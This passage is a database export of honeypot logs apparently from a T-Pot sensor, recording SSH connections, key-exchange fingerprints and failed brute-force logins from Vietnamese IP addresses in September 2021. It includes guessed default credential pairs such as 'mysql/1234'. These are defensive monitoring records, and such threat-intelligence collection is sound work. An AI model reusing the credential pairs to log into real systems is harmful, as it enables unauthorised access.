"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43672, "dest_port": 22, "timestamp": "2021-09-20T11:08:53.053610", "@timestamp": "2021-09-20T11:08:53.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24454	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:52.483619+03	2021-09-20 14:15:08.814471+03	{"_id": "JgbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:41524 (192.168.176.2:22) [session: bd8bbe1900cb]", "session": "bd8bbe1900cb", "@version": "1", "protocol": "ssh", "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.483619Z", "@timestamp": "2021-09-20T11:08:52.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24455	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:52.722832+03	2021-09-20 14:15:08.81547+03	{"_id": "JwbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:43672 (192.168.176.2:22) [session: b8d2d631b80d]", "session": "b8d2d631b80d", "@version": "1", "protocol": "ssh", "src_port": 43672, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.722832Z", "@timestamp": "2021-09-20T11:08:52.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24458	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:52.638171+03	2021-09-20 14:15:08.819503+03	{"_id": "NQbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9c892865c6e1", "@version": "1", "timestamp": "2021-09-20T11:08:52.638171Z", "@timestamp": "2021-09-20T11:08:52.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24459	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:52.763107+03	2021-09-20 14:15:08.821503+03	{"_id": "NgbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bd8bbe1900cb", "@version": "1", "timestamp": "2021-09-20T11:08:52.763107Z", "@timestamp": "2021-09-20T11:08:52.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24460	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:52.778158+03	2021-09-20 14:15:08.8225+03	{"_id": "NwbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b8d2d631b80d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:52.778158Z", "@timestamp": "2021-09-20T11:08:52.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24461	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:52.850121+03	2021-09-20 14:15:08.824501+03	{"_id": "OAbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [nuucp/nuucp] failed", "session": "287db2103534", "@version": "1", "password": "nuucp", "username": "nuucp", "timestamp": "2021-09-20T11:08:52.850121Z", "@timestamp": "2021-09-20T11:08:52.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24462	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:52.85596+03	2021-09-20 14:15:08.825504+03	{"_id": "OQbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [mysql/1234] failed", "session": "4af32f5b4384", "@version": "1", "password": "1234", "username": "mysql", "timestamp": "2021-09-20T11:08:52.855960Z", "@timestamp": "2021-09-20T11:08:52.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24463	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:53.054811+03	2021-09-20 14:15:08.826473+03	{"_id": "OgbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "dcaf49ffb6d6", "@version": "1", "duration": 3.1169543266296387, "timestamp": "2021-09-20T11:08:53.054811Z", "@timestamp": "2021-09-20T11:08:53.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24464	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:53.057248+03	2021-09-20 14:15:08.828472+03	{"_id": "OwbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b8d2d631b80d", "@version": "1", "timestamp": "2021-09-20T11:08:53.057248Z", "@timestamp": "2021-09-20T11:08:53.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24465	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:53.797212+03	2021-09-20 14:15:08.830471+03	{"_id": "PAbkAnwBvYTbRNuE_RTg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 862684644225721, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:08:53.797212Z", "@timestamp": "2021-09-20T11:08:53.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24466	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:53.523019+03	2021-09-20 14:15:08.83147+03	{"_id": "PQbkAnwBvYTbRNuE_hTV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42138, "timestamp": "2021-09-20T11:08:53.523019", "@timestamp": "2021-09-20T11:08:53.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24467	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:45.724648+03	2021-09-20 14:15:08.83247+03	{"_id": "XgbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "36aa425c0db2", "@version": "1", "duration": 2.7503738403320312, "timestamp": "2021-09-20T11:08:45.724648Z", "@timestamp": "2021-09-20T11:08:45.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
